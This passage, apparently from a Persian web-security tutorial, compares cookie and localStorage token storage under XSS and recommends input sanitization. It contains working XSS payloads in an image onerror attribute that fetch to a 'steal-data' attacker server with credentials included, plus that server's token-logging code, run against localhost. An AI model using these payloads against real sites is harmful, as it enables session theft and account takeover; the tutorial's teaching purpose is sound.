چرا؟ همانطور که گفتم مرورگر ما کوکی را درون header قرار خواهد داد. برای تست این موضوع می توانیم به مرورگر رفته، dev tools را باز کرده و به سربرگ network برویم. حالا صفحه را refresh کرده و روی دکمه Fetch Token & Save کلیک کنید. با این کار می بینید که کوکی ما به همراه توکن آن در header درخواست موجود می باشد:
در حال حاضر اگر کد زیر را برای XSS در فیلد Message Image Url بنویسیم به جای دریافت توکن خطا می گیریم:
این یعنی کوکی های ما امن هستند، مگر نه؟ آیا می توانیم نتیجه بگیریم که Cookie از LocalStorage امن تر است؟ خیر! من در پروژه شما یک فایل دیگر به نام bad-guy-backend.js را قرار داده ام که یک سرور دیگر است و روی پورت 8000 اجرا می شود. من در این فایل برخی از header های ساده را نوشته ام که به ما اجازه انجام Cross site requests را می دهند (یعنی اجازه می دهند سایت ما با سایت های دیگر تعامل داشته باشد که به آن CORS یا Cross-Origin Resource Sharing می گوییم):
app.use((req, res, next) => { res.setHeader("Access-Control-Allow-Origin", "http://localhost:3000"); res.setHeader("Access-Control-Allow-Methods", "GET"); res.setHeader("Access-Control-Allow-Credentials", true); next(); });
هدف از نوشتن این header ها این اتس که بتوانیم از سرور اول (localhost:3000) به سرور دوم (localhost:8000) درخواست ارسال کنیم. توجه کنید که من به صورت خاص به آدرس localhost:3000 اجازه داده ام که به سرور ما دسترسی داشته باشد (باید حتما مشخص کنید که کدام سرور ها اجازه تعامل با سرور شما را دارند) همچنین یک endpoint نیز داریم:
app.get('/steal-data', (req, res) => { token = req.headers.cookie .split('; ') .find((c) => c.startsWith('token')) .split('=')[1]; console.log('Token: ' + token); res.json({ message: 'Got ya!' }); });
همانطور که می بینید این endpoint کار خاصی نمی کند بلکه فقط به دنبال کوکی در header های درخواست های ارسال شده به خود می گردد. توجه کنید که این سرور از سرور دیگر ما جدا است. فرض کنید که سرور اول (localhost:3000) متعلق به ما و سرور دوم (localhost:8000) متعلق به هکر است. حالا یک پنجره ترمینال دیگر را باز کنید (ترمینال قبلی که سرور localhost:3000 را اجرا می کند باید در حال اجرا باقی بماند، آن را نبندید) و در آن این سرور دوم را اجرا کنید:
node bad-guy-backend.js
حالا هر دو سرور در حال اجرا هستند. همانطور که گفتم در حال حاضر کد زیر کار نمی کند:
https://whatever.com/image.jpg" onerror="let token = document.cookie.split(";").find(c => c.startsWith("token")).split("=")[1]; console.log(token)
اما می توانیم آن را بدین شکل تغییر بدهیم:
https://whatever.com/image.jpg" onerror="fetch('http://localhost:8000/steal-data')
یعنی یک درخواست را به سرور دوم ارسال کرده ام. اگر یادتان باشد توضیح داده بودم که زمانی که با استفاده از fetch یا هر روش دیگری یک درخواست را به URL یا آدرسی ارسال می کنید که برنامه شما روی همان آدرس قرار دارد، تمام کوکی هایتان (چه httpOnly و چه غیر آن) به صورت خودکار توسط مرورگر درون درخواست ارسالی قرار می گیرند. مسئله اینجاست که در اینجا ما درخواست را به همان آدرس ارسال نمی کنیم (سرور اول و دوم یکی نیستند و آدرس هایشان متفاوت است) بنابراین کوکی ها درون درخواست قرار نمی گیرند اما می توانیم خودمان به صورت دستی بگوییم که کوکی ها را درون درخواست قرار دهد!
https://whatever.com/image.jpg" onerror="fetch('http://localhost:8000/steal-data', {credentials: 'include'})
با اضافه کردن آرگومان دوم به fetch و قرار دادن credentials روی include (به معنی «شامل کردن») به مرورگر گفته ایم که اطلاعاتی مثل کوکی ها را نیز به این درخواست ضمیمه کن! دوباره به کد زیر از سرور دوم نگاه کنید:
app.use((req, res, next) => { res.setHeader("Access-Control-Allow-Origin", "http://localhost:3000"); res.setHeader("Access-Control-Allow-Methods", "GET"); res.setHeader("Access-Control-Allow-Credentials", true); next(); });
با توجه به کد بالا و به عنوان یک هکر باید دو کار را حتما انجام دهید:
حالا به سربرگ network از مرورگر رفته و کد زیر را درون Message Image Url قرار داده و دکمه Submit را بزنید:
همانطور که می بینید درخواست برای تصویر Fail شده است اما درخواست fetch ما با عنوان steal-data (دزدیدن داده ها) با موفقیت کامل اجرا شده است. حالا اگر به ترمینال سرور دوم بروید توکن خود (عبارت abc) را می بینید که log شده است.
توجه کنید که حتما نیازی به ارسال این توکن به سرور خودمان نیست، بلکه ما می توانستیم به جای ارسال اطلاعات به سرور دوم، اطلاعات را به سرور خود قربانی ارسال کنیم. چرا؟ به دلیل اینکه بدین صورت می توانیم از طرف کاربر وارد حسابش شویم و اطلاعات خیلی مهم تری مانند شماره تلفن و ایمیل و غیره را از او بگیریم و به سرور خود ارسال کنیم یا از طرف او برای خودمان خرید انجام بدهیم و الی آخر. ما با XSS می توانیم تقریبا هر کاری که خواستیم انجام بدهیم.
من در این مقاله به Cross-Origin Resource Sharing یا CORS اشاره کرده ام. اگر با این مبحث آشنا نیستید در آینده مقالاتی را در این مورد منتظر خواهم کرد و می توانید آن ها را مطالعه کنید.
نکته بعدی استفاده از sameSite است. همانطور که httpOnly یکی از flag های کوکی ها است و ما در این قسمت از آن استفاده کردیم، sameSite نیز یکی از آن ها می باشد:
SameSite=Strict
این Flag می تواند یکی از این سه مقدار را بگیرد:
None
: در سال های سال پیش مقدار پیش فرض بود. کوکی ها به تمام درخواست ها متصل می شوند.Lax
: در دنیای وب امروزی این مقدار پیش فرض است. این کوکی ها در navigation های سطح بالا و در درخواست های GET از وب سایت های third party (وب سایت های غیر از وب سایت فعلی شما - یک سرور دیگر) ارسال می شوند.Strict
: کوکی ها فقط به درخواست هایی متصل می شوند که وب سایت فعلی (وب سایت خودمان) را هدف می گیرند.آیا این راه حل ما نیست؟ اگر کوکی هایمان را روی strict بگذاریم آیا مشکل ما حل نمی شود؟ در این صورت کسی نمی تواند کوکی هایمان را به سرور دیگری ارسال کند درست است؟ بله اما این همه ماجرا نیست. اگر یادتان باشد من گفتم که ارسال کوکی و اطلاعات دیگر به سرور خودمان تنها راه استفاده از XSS نیست، بلکه هکرها می توانند به جای دزدیدن اطلاعات (مثل توکن) از طرف کاربر یک سفارش را ثبت کنند، یا مبلغی را از حساب کاربر به حساب خودشان در سایت شما منتقل کنند و الی آخر. در هیچ کدام از این حالت ها نیازی به ارسال اطلاعات به سایت دیگری وجود ندارد بنابراین sameSite کمکی به ما نمی کند به جز اینکه اجازه ارسال اطلاعات به سرور دیگری را نمی دهد اما هنوز هم امکان خرابکاری و حمله روی سرور خودتان وجود دارد. در ضمن اگر وب سایت شما از مرورگرهای قدیمی نیز پشتیبانی می کند باید بگویم که SameSite روی مرورگرهای قدیمی مثل internet explorer پشتیبانی نشده و اصلا کار نمی کند بنابراین کاربرانی که از internet explorer استفاده می کنند در خطر هستند.
نکته سوم اینجاست که از نظر فنی آدرس های localhost:3000 و localhost:8000 یکی هستند و فقط پورت های متفاوتی دارند بنابراین در عمل یک سایت جداگانه محسوب نمی شوند و برخی از این حملات برای دزدیدن توکن در دنیای واقعی که دامنه سایت ها متفاوت است، قابل انجام نخواهد بود. هدف من آشنایی شما با احتمالات بود اما باید بدانید که از نظر فنی این دو آدرس یکی هستند. البته همانطور که در نکته قبل گفتم هکر معمولا نیازی به دزدیدن توکن ندارد و می تواند بدون آن نیز حملات مختلفی را پیاده کند.
همانطور که می بینید شاید بتوان گفت که استفاده از کوکی ها (با رعایت تک تک قوانین امنیتی) کمی از localStorage امن تر باشد (از نظر اینکه دزدیدن توکن سخت تر می شود) اما به هیچ عنوان امن نیستند (هنوز هم حملات مختلفی روی سایت خودتان قابل اجرا است و نیازی به دزدیدن توکن نیست). تنها راه حل این است که جلوی حملات XSS را بگیرید نه اینکه از چه راهی برای ذخیره آن ها استفاده کنید!
بحث اصلی نباید بین Cookie و localStorage باشد چرا که هر دوی آن ها قابل استفاده و مناسب هستند بلکه بحث اصلی باید روی sanitize کردن داده های کاربران و ذخیره نکردن هر داده ای در پایگاه داده باشد. شما نباید تصور کنید که با استفاده از کوکی های sameSite دیگر امن هستید بلکه اصلا نباید اجازه اجرای کدهای جاوا اسکریپت از سمت کاربر را بدهید. فریم ورک هایی مانند Vue.js یا Angular یا React.js یا Laravel و غیره قابلیت های زیادی در این مورد داشته و در این زمینه به شما کمک می کنند بنابراین یا از این فریم ورک ها استفاده کنید یا اینکه حتما و حتما داده های کاربران را sanitize کنید (پکیج های آماده مختلفی برای این کار وجود دارد). یادتان باشد که sanitize کردن داده های کاربر بهترین روش برای جلوگیری از حملات XSS است. اگر جلوی این حملات را بگیرید دیگر اهمیتی ندارد که از localStorage استفاده می کنید یا از Cookie ها!
امیدوارم این آموزش آشنایی با حملات XSS و شیوه جلوگیری از آن ها شما را متوجه اهمیت این مطلب کرده باشد.
در این قسمت، به پرسشهای تخصصی شما دربارهی محتوای مقاله پاسخ داده نمیشود. سوالات خود را اینجا بپرسید.